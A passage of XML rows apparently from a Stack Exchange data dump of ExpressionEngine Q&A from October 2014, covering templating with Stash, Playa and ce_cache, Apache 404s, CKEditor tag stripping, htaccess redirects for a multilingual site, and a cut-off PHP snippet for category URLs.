  <row Id="26330" PostTypeId="2" ParentId="26306" CreationDate="2014-10-20T13:33:43.707" Score="2" Body="&lt;p&gt;Kind of depends on your budget, but in a pinch, Mithra62's &quot;&lt;a href=&quot;http://devot-ee.com/add-ons/export-it&quot; rel=&quot;nofollow&quot;&gt;export it&lt;/a&gt;&quot; add-on would definitely allow you to handle that.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-10-20T13:33:43.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26331" PostTypeId="2" ParentId="26302" CreationDate="2014-10-20T13:36:43.913" Score="1" Body="&lt;p&gt;Wouldn't you just need to use the &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/parents.html&quot; rel=&quot;nofollow&quot;&gt;playa:parents&lt;/a&gt; tag pair instead of the fieldtype tag pair?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-10-20T13:36:43.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26332" PostTypeId="2" ParentId="26302" CreationDate="2014-10-20T13:54:47.190" Score="0" Body="&lt;p&gt;I ended up prefixing the Playa fields. The following code allows you to access parent field/s.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{playa_field var_prefix=&quot;pl&quot;}&#xA;    &amp;lt;a href=&quot;{pl:url_title}&quot;&amp;gt;{pl:title} {parent_field}&amp;lt;/a&amp;gt;&#xA;{/playa_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3566" LastActivityDate="2014-10-20T13:54:47.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26333" PostTypeId="1" CreationDate="2014-10-20T14:02:03.013" Score="0" ViewCount="109" Body="&lt;p&gt;I'm trying to cache some templates using ce_cache and Stash. I can't get this to work, at the moment it's outputting nothing. My simplified 'model' code is something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:default stash:cache_tags=&quot;true&quot;}&#xA;&#xA;{exp:channel:entries status=&quot;not closed&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;}&#xA;    {exp:stash:set name=&quot;content_full&quot;}&#xA;       &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the embed/view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if exp:stash:cache_tags}&#xA; {exp:ce_cache:it tags=&quot;default&quot;}&#xA;{/if} &#xA;{lv_head}&#xA;&amp;lt;body id=&quot;&quot; class=&quot;&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;wrapper-main&quot;&amp;gt;&#xA;        {if {exp:stash:not_empty name=&quot;content_full&quot;}}&#xA;            {exp:stash:content_full}&#xA;        {/if}&#xA;  &amp;lt;/div&amp;gt;    &#xA;{lv_footer}&#xA;{if exp:stash:cache_tags}&#xA; {/exp:ce_cache:it}&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3566" LastActivityDate="2014-10-21T09:04:43.100" Title="Stash and ce_cache, conditional caching?" Tags="|stash|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26334" PostTypeId="1" CreationDate="2014-10-20T14:30:32.087" Score="0" ViewCount="33" Body="&lt;p&gt;I'm trying to add a sort / results feature on 2 custom fields which would look similar to what I've started here using categories but using custom fields instead: &lt;code&gt;http://192.241.255.103/ee272/jdb/joke_list&lt;/code&gt;. The channel is: &quot;jokes&quot; fields are called &quot;joke_category&quot; (dropdown list) and &quot;rating&quot; (checkbox). Without using a plugin do I have to write a mysql query? If so, would anyone mind giving me a head start here.&lt;/p&gt;&#xA;" OwnerUserId="3713" LastActivityDate="2016-05-28T16:11:53.537" Title="Sort and Results on Custom Fields (not category)" Tags="|custom-fields|no-results|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26335" PostTypeId="2" ParentId="26334" CreationDate="2014-10-20T14:55:07.663" Score="0" Body="&lt;p&gt;You could try using the entries loop's &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic-parameters&quot; rel=&quot;nofollow&quot;&gt;dynamic parameters&lt;/a&gt; and sorting that way - it depends on how you're accessing the sort - with a form, with a clickable link with custom segments the URL, or you could potentially get a bit fancy with it using jQuery. The dynamic parameters way be a bit less ideal if you're looking to filter as opposed to just plain sort.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-10-20T14:55:07.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26336" PostTypeId="1" CreationDate="2014-10-20T15:03:18.330" Score="0" ViewCount="49" Body="&lt;p&gt;I'm getting the following error using the password reset after following the email link:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The form you submitted contained the following errors&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The ID number you submitted does not appear to be valid. Please check&#xA;  the link you followed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this an EE problem or Freemembe? If Freemember what do I need to do to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2016-06-03T09:36:15.987" Title="Freemember ID number error" Tags="|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26338" PostTypeId="1" CreationDate="2014-10-20T16:23:21.177" Score="0" ViewCount="56" Body="&lt;p&gt;I'm using EE 2.4, I have a file upload field in a matrix, when I upload a file and save the entry, it works fine, but when I reopen the entry to add new files, all the previously upload files are gone.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They're still on the server, I can see them in file manager, but they're not not in the entry anymore?&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2014-10-20T16:23:21.177" Title="Uploaded files not saving" Tags="|file-uploads|file-manager|files|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26339" PostTypeId="2" ParentId="26317" CreationDate="2014-10-20T16:26:11.913" Score="0" Body="&lt;p&gt;For the record, this bug can't be replicated and we haven't experienced such issues with other customers. I wish there was a way for us to get this working for you.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-10-20T16:26:11.913" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26340" PostTypeId="1" CreationDate="2014-10-20T17:08:30.100" Score="0" ViewCount="35" Body="&lt;p&gt;I need some help with this as it drives me mad. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some blog posts have an external URL appended to them:&#xA;&lt;a href=&quot;https://www.my-site.com/blog-post/www.external-site.com&quot; rel=&quot;nofollow&quot;&gt;https://www.my-site.com/blog-post/www.external-site.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get hundreds of such pages from one single external URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what might be causing this? It is not happening with all external URLs. Just this one. I've even checked if it was added with the protocol (http://) in front and there aren't any such issues. &lt;/p&gt;&#xA;" OwnerUserId="3715" LastActivityDate="2014-10-20T17:28:24.883" Title="External URLs are being appended at the end of blog post URLs" Tags="|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26341" PostTypeId="2" ParentId="26340" CreationDate="2014-10-20T17:28:24.883" Score="1" Body="&lt;p&gt;I assume you mean that you're seeing these in your Analytics reports? This is almost certainly an issue where inside one or more of your posts' content, you have a link to &lt;code&gt;www.external-site.com&lt;/code&gt;, without the &lt;code&gt;http://&lt;/code&gt;. I've seen this often.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-20T17:28:24.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26343" PostTypeId="2" ParentId="26329" CreationDate="2014-10-20T18:16:01.157" Score="0" Body="&lt;p&gt;Unfortunately, you cannot perform inclusive searches like this on custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could achieve inclusive (AND) searches with keyword searches by adding &quot;&amp;amp;&amp;amp;&quot; to each of your values, and in the URI it would show up like:&#xA;&lt;a href=&quot;http://site.com/search/results/search?keywords=value1&amp;amp;&amp;amp;value2&amp;amp;&amp;amp;value3&quot; rel=&quot;nofollow&quot;&gt;http://site.com/search/results/search?keywords=value1&amp;amp;&amp;amp;value2&amp;amp;&amp;amp;value3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the above does not work on custom fields yet, so the best it can do right now is &quot;OR&quot; searches:&#xA;&lt;a href=&quot;http://www.solspace.com/docs/super_search/search_syntax/#custom_fields&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/super_search/search_syntax/#custom_fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the inconvenience&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-10-20T18:16:01.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26344" PostTypeId="1" CreationDate="2014-10-20T19:52:26.097" Score="0" ViewCount="37" Body="&lt;p&gt;this is happening randomly, but when I go to my login page, it sometimes just shows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on other occasions, I tried to view the filemanager but got a page with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;rows&quot;:[{&quot;file_id&quot;:&quot;686&quot;,&quot;title&quot;:&quot;logo220.png&quot;,&quot;file_name&quot;:&quot;&amp;lt;a href=\&quot;http:\/\/www.xyz.org\/images\/uploads\/emails\/logo220.png\&quot; class=\&quot;less_important_link overlay\&quot; id=\&quot;img_logo220png\&quot; rel=\&quot;#overlay\&quot;&amp;gt;logo220.png&amp;lt;\/a&amp;gt;&quot;,&quot;mime_type&quot;:&quot;image\/png&quot;,&quot;upload_location_name&quot;:&quot;emails&quot;,&quot;upload_date&quot;:&quot;2014-10-20 03:43 PM&quot;,&quot;_actions&quot;:&quot;&amp;lt;a href=\&quot;loginURL.php?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it doesn't happen all the time so I'm a bit stumped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;does anyone have experience with that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: it's happening on a couple of our sites now (on mediatemple's grid service) and sometimes, the login screen just shows &quot;C=login&quot;&lt;/p&gt;&#xA;" OwnerUserId="1962" LastEditorUserId="1962" LastEditDate="2014-10-23T18:57:03.440" LastActivityDate="2014-10-24T16:17:54.557" Title="ExpressionEngine control panel shows raw source" Tags="|control-panel|ee|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26346" PostTypeId="1" AcceptedAnswerId="26500" CreationDate="2014-10-20T21:21:17.717" Score="0" ViewCount="1196" Body="&lt;p&gt;&lt;strong&gt;Is there anything in EE that would cause some files under web root to be accessible while others return a 404?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a &lt;code&gt;/js/&lt;/code&gt; with about 10 JS files. About 8 of them are accessible, but the other 2 returns a 404 error (I have verified that the files do exist on the server). Same with my &lt;code&gt;/cache/&lt;/code&gt; folder (where Minimee files are saved); the generated files are returning 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the screen shot of the error I am getting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o0ATB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's an EE error page, so this has to do with EE somehow, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt; Directory listing of &lt;code&gt;/js/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am just clicking on these links that are produced as a result of Apache's directory listing, I am not inclined to believe that I am running into any case sensitivity issues. The two unvisited links are the ones returning 404s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eYrIw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-10-29T22:20:59.397" LastActivityDate="2014-10-30T04:37:58.830" Title="404 on some files" Tags="|apache|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26347" PostTypeId="1" CreationDate="2014-10-20T21:45:45.203" Score="2" ViewCount="72" Body="&lt;p&gt;EE 2.9 - this is an issue with Channel Form: we have a large form to submit (50 fields or so) and it takes people quite a while to fill in the fields as some need a bit of thought. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that while this is happening and they are effectively idle, the form is timing out and when the user returns to it all the fields are blank which is a source of annoyance for them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of extending this period before the 'idle' timeout kicks in?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-10-20T21:45:45.203" Title="Form expiring/timing out when Idle" Tags="|safecracker|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26348" PostTypeId="2" ParentId="26312" CreationDate="2014-10-20T21:57:22.560" Score="-1" Body="&lt;p&gt;Thanks for the input guys. I'm using MSM and needed to enter site_id as a parameter into {exp:gwcode_categories}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That fixed it :)&lt;/p&gt;&#xA;" OwnerUserId="3484" LastActivityDate="2014-10-20T21:57:22.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26350" PostTypeId="1" CreationDate="2014-10-21T01:31:27.587" Score="0" ViewCount="21" Body="&lt;p&gt;For a while, I seen a white line appear in the footer of my admin (see the screenshot). Can anyone tell me the best way to debug it?&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3hVvg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2014-12-20T14:13:22.553" Title="White line in footer of EE Admin CP" Tags="|admin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26351" PostTypeId="1" AcceptedAnswerId="26352" CreationDate="2014-10-21T03:09:58.027" Score="0" ViewCount="59" Body="&lt;p&gt;The below code works just fine on it’s own, however as soon as I drop it into a stash list and call it later in my template no results are shown. Is this a parse issue?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;brand&quot; entry_id=&quot;108&quot;}&#xA;         {exp:playa:children field=&quot;brand-category&quot;}&#xA;             &amp;lt;p&amp;gt;{count} - Category Name: {title} | Category URL: /products/brand/microsoft/{url_title}&amp;lt;/p&amp;gt;&#xA;         {/exp:playa:children}&#xA;  {/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is how it looks when stashed up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call Embed and Display Data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Set Stash List --}&#xA; {stash:embed name=&quot;_common:_data/test-category-list&quot; stash:id=&quot;108&quot; process=&quot;inline&quot; parse=&quot;inwards&quot;}&#xA;&#xA;{!-- Get Stash List --}&#xA; {exp:stash:get_list name=&quot;related-category-list&quot;}&#xA; {brand-name}&#xA; {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embed File:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;related-category-list&quot; parse_tags=&quot;yes&quot;}&#xA;&#xA; {exp:channel:entries channel=&quot;brand&quot; entry_id=&quot;{stash:id}&quot;}&#xA;  {exp:playa:children field=&quot;brand-category&quot; parse=&quot;inward&quot;}&#xA;            {stash:brand-name}{title}{/stash:brand-name}&#xA;        {/exp:playa:children}&#xA; {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set_list} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3484" LastActivityDate="2014-10-21T14:30:15.240" Title="Playa not rendering within a Stash List" Tags="|playa|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26352" PostTypeId="2" ParentId="26351" CreationDate="2014-10-21T03:43:09.530" Score="0" Body="&lt;p&gt;Resolved it just needed to increase the depth of the list to &quot;2&quot; within the embed. Here is the code if anyone needs it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Embed File:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;related-category-list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;&#xA;    {exp:channel:entries channel=&quot;brand&quot; entry_id=&quot;{stash:id}&quot;}&#xA;        {exp:playa:children field=&quot;brand-category&quot;}&#xA;            {stash:category-name}{title}{/stash:category-name}&#xA;            {stash:category-url}{url_title}{/stash:category-url}&#xA;        {/exp:playa:children}&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3484" LastEditorUserId="1326" LastEditDate="2014-10-21T14:30:15.240" LastActivityDate="2014-10-21T14:30:15.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26353" PostTypeId="1" AcceptedAnswerId="26354" CreationDate="2014-10-21T08:03:34.250" Score="0" ViewCount="301" Body="&lt;p&gt;I have a site that, by necessity, needs to load into an iFrame on another site.&#xA;Part of the site is a Channel Form however this page won't load into the iFrame because the X-Frame-Options header is being set. I see the addition of this header was an update in 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can stop this header from being set?  I don't think I have any option other than to modify the Core but I can't find where it's being set.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-21T08:17:19.723" Title="Disable X-Frame-Options header in Channel Form" Tags="|safecracker|headers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26354" PostTypeId="2" ParentId="26353" CreationDate="2014-10-21T08:17:19.723" Score="1" Body="&lt;p&gt;I have found where the header is being set...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's within system/expressionengine/libraries/Cp.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;73          // Make sure all requests to iframe the CP are denied&#xA;74:         ee()-&amp;gt;output-&amp;gt;set_header('X-Frame-Options: SameOrigin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-21T08:17:19.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26356" PostTypeId="2" ParentId="26333" CreationDate="2014-10-21T09:04:43.100" Score="1" Body="&lt;p&gt;I can't see how caching the layout is going to help you at all. It's just markup. You need to &quot;cache&quot; the tags that actually generate content and are expensive to run (i.e. the channel entries tag), as well as the rendering of the data (the layout). Therefore you need to wrap the &lt;code&gt;{exp:ce_cache:it}&lt;/code&gt; tags around everything in the root template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if exp:stash:cache_tags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..is not a valid conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your stash embed variable can be used in the form &lt;code&gt;{stash:cache_tag}&lt;/code&gt; and must be evaluated as a string, thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{stash:cache_tags}&quot; == &quot;true&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More on evaluating stash variables, and the difference between native and snippet variables here:&#xA;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Variables#ifelse-advanced-conditionals&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/Variables#ifelse-advanced-conditionals&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-10-21T09:04:43.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26357" PostTypeId="2" ParentId="26336" CreationDate="2014-10-21T10:59:13.313" Score="0" Body="&lt;p&gt;I fixed this by adding the 'Reset password' tag. Not sure if there is another option.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2014-10-21T10:59:13.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26358" PostTypeId="2" ParentId="26350" CreationDate="2014-10-21T11:36:07.177" Score="1" Body="&lt;p&gt;Use a browser inspector and examine the generated source. Chrome's web inspector is ideal for this, just right click the line and select Inspect Element. This may give you a clue as to what is creating it.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-21T11:36:07.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26360" PostTypeId="1" AcceptedAnswerId="26372" CreationDate="2014-10-21T12:36:00.920" Score="0" ViewCount="74" Body="&lt;p&gt;There's nothing to say it won't, but for non-logged in users, nothing is rendered between any of the {subs} tags?&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2014-11-04T22:19:02.567" Title="Does DevDemon subscriptions work for non logged in users?" Tags="|devdemon|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26361" PostTypeId="1" CreationDate="2014-10-21T17:07:44.743" Score="1" ViewCount="316" Body="&lt;p&gt;There was an earlier post related to this, but its solution was outdated. So I'm creating a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;em&gt;ExpressionEngine 2.9.2&lt;/em&gt; with &lt;em&gt;Wygwam 3.3.2&lt;/em&gt;. Our site incorporates icons using &lt;em&gt;FontAwesome 4.2&lt;/em&gt;. &lt;em&gt;FontAwesome&lt;/em&gt; icons are called by inserting an &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; tag like &lt;code&gt;&amp;lt;i class=&quot;fa fa-caret-down&quot;&amp;gt;&amp;lt;/i&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Wygwam&lt;/em&gt;, via &lt;em&gt;CKEditor&lt;/em&gt;, strips out empty &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; tags by default. In the past, we have suppressed this default behavior by adding &lt;code&gt;CKEDITOR.dtd.$removeEmpty['i'] = false;&lt;/code&gt; to CKEditor's &lt;code&gt;config.js&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after updating &lt;em&gt;ExpressionEngine&lt;/em&gt; to 2.9.2 and &lt;em&gt;Wygwam&lt;/em&gt; to 3.3.2, this approach no longer works (Yes, I added &lt;code&gt;CKEDITOR.dtd.$removeEmpty['i'] = false;&lt;/code&gt; to the new config.js file). Empty &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; tags added in source mode are saved, but the next time the editor is initialized on that entry, all empty &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; tags are stripped again. Saving the entry again results in saving the &quot;stripped&quot; version, without the icons. The only way to get the icons back is to re-enter them every time an entry is edited. Not exactly a workable solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how we can get back to preventing CKEditor from stripping those &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it matters, I am editing in Chrome 39.0.2171.27.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Apparently it does matter. It appears to work correctly in Safari, Firefox and IE. It's broken only in Chrome. It work in IE, but is broken in Chrome? What is the world coming to? Anyway, I still appreciate any insight into this problem. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3522" LastEditorUserId="3522" LastEditDate="2014-10-21T17:44:58.587" LastActivityDate="2017-08-14T15:27:37.843" Title="Wygwam/CKEditor stripping out empty &lt;i&gt; tags (Font Awesome)" Tags="|wygwam|wysiwyg|ckeditor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26362" PostTypeId="1" CreationDate="2014-10-21T17:14:18.857" Score="0" ViewCount="142" Body="&lt;p&gt;I'm working on a multilingual site.. Everything is working except Channel Images from DevDemon.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is some infos and the structure&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-root&#xA;|-index.php&#xA;|-fr&#xA;  |-index.php&#xA;  |-htaccess (fr)&#xA;|-en&#xA;  |-index.php&#xA;  |-htaccess (en)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;root index is a simple 301 redirect using preg_match as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(preg_match('/en-us/', $_SERVER['HTTP_USER_AGENT'])){&#xA;    header(&quot;Location: http://wwww.domain.com/en/&quot;);&#xA;    exit();&#xA;}&#xA;else {&#xA;    // Permanent redirection&#xA;    header(&quot;HTTP/1.1 301 Moved Permanently&quot;);&#xA;    header(&quot;Location: http://www.domain.com/fr/&quot;);&#xA;    exit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the htaccess in fr and en folders look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options +FollowSymlinks&#xA;  RewriteEngine On&#xA;&#xA;  RewriteCond %{HTTP_HOST} ^domain.com/en$&#xA;  RewriteRule ^(.*)$ http://www.domain.com/en/$1 [R=301,L]&#xA;  RewriteCond $1 !^(css|documents|images|img|js|en|fr|themes|admin|index\.php|favicon\.ico|robots\.txt|sitemap\.php|apple-touch-icon\.png|info\.php) [NC]&#xA;  RewriteCond $1 !^(index\.php)&#xA;  RewriteRule ^(.+)$ index.php?$1 [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the index.php in eache fr and en folder are standard ee index.php with fr and en global variable as.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_url'] = 'http://domain.com/en/'; &#xA;    $assign_to_config['deft_lang'] = 'english'; &#xA;    $assign_to_config['global_vars'] = array(// This array must be associative &#xA;        &quot;lang&quot; =&amp;gt; &quot;en&quot;,&#xA;        &quot;language&quot; =&amp;gt; &quot;english&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far everything is fine .. but when i want to use Channel Images, i have to access domain.com/?Act=XX   XX is integer&#xA;And when i &quot;Test Location&quot; within Channel Image fieldtype.. i get this error : Request unsuccessful: error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE :&#xA;I changed my method using this link : &lt;a href=&quot;http://www.shortcuts.nl/index.php/weblog/comments/ee_multi-language_sites_revisited/&quot; rel=&quot;nofollow&quot;&gt;http://www.shortcuts.nl/index.php/weblog/comments/ee_multi-language_sites_revisited/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is working now... I guess the problem was the 301 redirection from the root index.php.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE #2 :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the same problem few times on different website and i found that having a index.html on the root was the problem!!! I then modified the htaccess and Voila!!.. &lt;/p&gt;&#xA;" OwnerUserId="2774" LastEditorUserId="2774" LastEditDate="2015-04-30T18:09:59.117" LastActivityDate="2016-06-03T14:37:30.223" Title="Channel image and htaccess redirection" Tags="|htaccess|redirects|channel-images|devdemon|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26363" PostTypeId="1" CreationDate="2014-10-21T17:39:35.023" Score="0" ViewCount="74" Body="&lt;p&gt;I need to work out how to incorporate category names into the search results url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a solution using php (noted below) which adds the relevant category names into the appropriate position in the url. This works perfectly well, however i need to alter this code so that it accepts multiple category names. Currently it inserts the category names associated with 'beauty', but I also need it do do the same thing for 'hair', 'nails' etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am no php expert so any help is appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results}&#xA;&#xA;&amp;lt;?php $autoPath = '{auto_path}';&#xA;$lastSegment = basename($autoPath);&#xA;&#xA;//Beauty URL update, based on the category assigned to the entry&#xA;&#xA;if(strpos($autoPath, 'beauty')){&#xA;&#xA;//variable to assign the category to the appropriate URL segment for the Rule&#xA;&#xA;$catVar = 1;&#xA;$basename = 'catPath';&#xA;&#xA;?&amp;gt;&#xA;&#xA;{categories}&#xA; &amp;lt;?php&#xA; $tempname = $basename.$catVar;&#xA; $$tempname = &quot;{category_url_title}&quot;;&#xA; $catVar++;&#xA; ?&amp;gt;&#xA;{/categories}&#xA;&#xA;&amp;lt;?php $autoPath = 